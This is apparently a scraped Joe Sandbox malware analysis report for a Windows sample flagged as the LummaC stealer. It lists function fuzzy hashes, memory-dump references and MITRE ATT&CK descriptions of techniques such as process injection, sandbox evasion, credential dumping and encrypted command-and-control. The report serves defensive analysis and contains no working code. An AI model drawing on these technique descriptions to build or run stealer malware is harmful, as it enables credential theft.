Associated: 00000000.00000002.2513695692.0000000005E5A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E68000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E6A000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cbaf8308185378089b9c7da08a4ab9e0f66d142886d3f3463d8d268d15b8226
Instruction ID: 7c6ce734b38454258479b1dadc88e075b5e86c067727cd216153f8de22df6901
Opcode Fuzzy Hash: 6cbaf8308185378089b9c7da08a4ab9e0f66d142886d3f3463d8d268d15b8226
Instruction Fuzzy Hash: 7F2105B7F5162647F3544878CC9436265439BE1324F2F83788BA96B6C9DC7D1C0A1284

Function 05C27373 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2513695692.0000000005BCA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: true

Associated: 00000000.00000002.2513624126.0000000005BC0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513647374.0000000005BC2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513671808.0000000005BC6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005D4D000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E5A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E68000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E6A000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9252feb38cc8cd7f58ee3a222f120567cd79e0b466a717d3b3a80e99c467650d
Instruction ID: c6182b03bad637c521e3c91bae317b95e02917b665d9a2caf0276cffae3f7dde
Opcode Fuzzy Hash: 9252feb38cc8cd7f58ee3a222f120567cd79e0b466a717d3b3a80e99c467650d
Instruction Fuzzy Hash: 89218EF7F116314BF3588CB9CD9836295839794310F2B82388F5C6BAC6DCBD0D095284

Function 05BDD27D Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2513695692.0000000005BCA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: true

Associated: 00000000.00000002.2513624126.0000000005BC0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513647374.0000000005BC2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513671808.0000000005BC6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005D4D000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E5A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E68000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E6A000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e214218bda44312a92b99d4c975b97e8ac080c6d85fb990994980b5281b566be
Instruction ID: d7cd6b7fe46582fea555cc9158db0fd557af014e17a2e2fc63cce39c6f74606a
Opcode Fuzzy Hash: e214218bda44312a92b99d4c975b97e8ac080c6d85fb990994980b5281b566be
Instruction Fuzzy Hash: 28219FF3F506254BF3848968CC983A26282D794315F2F42798F5DAB3C2E8BE5D495388

Function 05BD88F2 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2513695692.0000000005BCA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: true

Associated: 00000000.00000002.2513624126.0000000005BC0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513647374.0000000005BC2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513671808.0000000005BC6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005D4D000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E5A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E68000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E6A000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7fb00cbb4b686369c800a08704ce5acdd11248e9cb3b84c5df9538b9f502eaf
Instruction ID: 0dfc0b33a18772b82676f22ad39c40c25287714c23a17882beb8eee40a88713b
Opcode Fuzzy Hash: e7fb00cbb4b686369c800a08704ce5acdd11248e9cb3b84c5df9538b9f502eaf
Instruction Fuzzy Hash: 94218BB3F511214BF7984838CE693A2258397D4724F3F82398F9E5B7C9EC7E584A1284

Function 05C2570C Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2513695692.0000000005BCA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: true

Associated: 00000000.00000002.2513624126.0000000005BC0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513647374.0000000005BC2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513671808.0000000005BC6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005D4D000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E5A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E68000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E6A000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44ed75e70513677304addc0e1a1eb397e2162692be049a260a799a6a695ed034
Instruction ID: ac8c6d5c97c9597ab4273bce35c7a303dc41d45c318e183ddff45fda30718100
Opcode Fuzzy Hash: 44ed75e70513677304addc0e1a1eb397e2162692be049a260a799a6a695ed034
Instruction Fuzzy Hash: 58219DB3F1112143FB544878CD693A661839BD5324F2F42398FADABBC5ED7D8D460284

Function 05C0F7F4 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2513695692.0000000005BCA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: true

Associated: 00000000.00000002.2513624126.0000000005BC0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513647374.0000000005BC2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513671808.0000000005BC6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005D4D000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E5A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E68000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E6A000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a8159ab92092e7a7bfb0ef9ec3a2ec962a28a4397c072b65e2b6a13bc905123
Instruction ID: e7f01608161aefcd3d2f72e4b1d3919ad29ef05b52de28aecdbbbaf112db5f5d
Opcode Fuzzy Hash: 5a8159ab92092e7a7bfb0ef9ec3a2ec962a28a4397c072b65e2b6a13bc905123
Instruction Fuzzy Hash: 39216AF7E6192647F3980824CC1937265829791326F2F82788E4A2B7C6EC7E5D491284

Function 05BE1546 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2513695692.0000000005BCA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: true

Associated: 00000000.00000002.2513624126.0000000005BC0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513647374.0000000005BC2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513671808.0000000005BC6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005D4D000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E5A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E68000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E6A000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 264b8c819f9f65b52e8ddbe72725c0142deb00f71e8f158d0611e44458c8532a
Instruction ID: 21366c7f59e6c3ade6646f33de9c97c928c654dceb149ec08c3f820f92b949b1
Opcode Fuzzy Hash: 264b8c819f9f65b52e8ddbe72725c0142deb00f71e8f158d0611e44458c8532a
Instruction Fuzzy Hash: 0A2149F7F6192103F3944834DC993A261829BA5314F2F86798F9CAB7C6EC7D98091380

Function 05BCE0FF Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2513695692.0000000005BCA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: true

Associated: 00000000.00000002.2513624126.0000000005BC0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513647374.0000000005BC2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513671808.0000000005BC6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005D4D000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E5A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E68000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E6A000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69dd3770e521c4c9b10744f5aa64ec214880619bef3e302572dee14165e5bc39
Instruction ID: a5c2e69a6a92dbdba1740208a116253b2dcdcb297791851f092035892700e49f
Opcode Fuzzy Hash: 69dd3770e521c4c9b10744f5aa64ec214880619bef3e302572dee14165e5bc39
Instruction Fuzzy Hash: 98F028B218C2AEDF9B07CF145D154FE7FADE98661073440DEE880EF602D2A2AD25C25C

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Windows Analysis Report
file.exe